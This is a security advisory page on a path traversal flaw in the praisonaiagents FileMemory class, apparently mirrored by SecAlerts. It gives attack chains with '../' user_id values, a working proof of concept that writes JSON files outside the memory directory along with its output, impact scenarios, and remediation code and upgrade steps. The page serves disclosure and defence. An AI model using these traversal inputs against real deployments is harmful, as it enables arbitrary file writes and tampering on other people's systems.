GHSA-gxmw-5f7x-6g22: Path Traversal

Published Aug 25, 2026
·
Updated

Summary

praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:

python self.userpath = self.basepath / userid # LINE 145 — no sanitization

No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:

python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"

self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)

self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"

All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory

mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)

B — Via Agent constructor (memory dict): python from praisonaiagents import Agent

agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

python from pathlib import Path import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid

try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())

Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape

Step 2 — Live exploit (files written outside base):

python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)

TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()

mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)

Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)

High-impact scenarios:

1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |

---

Remediation Suggestion (for maintainers)

Validate and resolve userid before using it in path construction:

python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )

self.userpath = self.basepath / userid

# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )

The same pattern should be applied to basepath parameter.

Affected Software

1 affected componentFixes available
pip/praisonaiagents<1.6.58
1.6.58

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.6.58
  2. Upgrade

    Upgrade praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.5.115
  3. Configuration

    In FileMemory.__init__(), validate and normalize `user_id` before using it in `self.user_path = self.base_path / user_id`. Reject values that do not match `^[a-zA-Z0-9_\-\.]+$`, then compute `resolved = (self.base_path / user_id).resolve()` and enforce `resolved.relative_to(self.base_path.resolve())` (raise ValueError if it would write outside the base directory).

    FileMemory (praisonaiagents/memory/file_memory.py) user_id = Validated pattern: only alphanumeric characters, hyphens, underscores, and dots are allowed (regex `^[a-zA-Z0-9_\-\.]+$`) and resolve/base check: `resolved.relative_to(base_resolved)` must succeed
  4. Configuration

    Apply the same validation/containment check to the `base_path` parameter: resolve `base_path` to `base_resolved` and ensure the resolved `user_path` is within `base_resolved` (e.g., `resolved.relative_to(base_resolved)`), failing with ValueError if not.

    FileMemory (praisonaiagents/memory/file_memory.py) base_path = Must be resolved and used for an allowlist/base containment check (resolved path must be within base)
  5. Compensating control

    Ensure deployments do not allow untrusted users to control `memory.user_id` / `agent_yaml` / job submission fields that flow into `FileMemory(user_id=...)` (since arbitrary JSON can be written to any writable filesystem path when traversal is possible).

  6. Operational

    After patching, review for any memory JSON files that may have been written outside the intended base directory (e.g., paths under the process temp dir showing traversal artifacts) and remove/clean them before use.

Event History

Aug 25, 2026
Advisory Published
via GitHub·03:09 PM
Data Sourced
via GitHub·03:09 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Applications using FileMemory are exposed when an attacker with the required low-level privileges can control the user_id value. Impact is limited by the filesystem permissions of the process running the application, because writes can only succeed in locations writable by that process.

2

What does an attacker need to exploit it?

The attacker needs to supply a user_id containing path-traversal sequences such as ../. No user interaction is required, and the vulnerable code creates directories at the traversed location before writing memory-related JSON content.

3

How can I determine whether my deployment is affected?

The issue is confirmed on the current main branch identified as praisonaiagents==1.6.52. Inspect praisonaiagents/memory/file_memory.py and check whether FileMemory.__init__ constructs user_path by directly joining base_path and user_id without validation or normalization.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203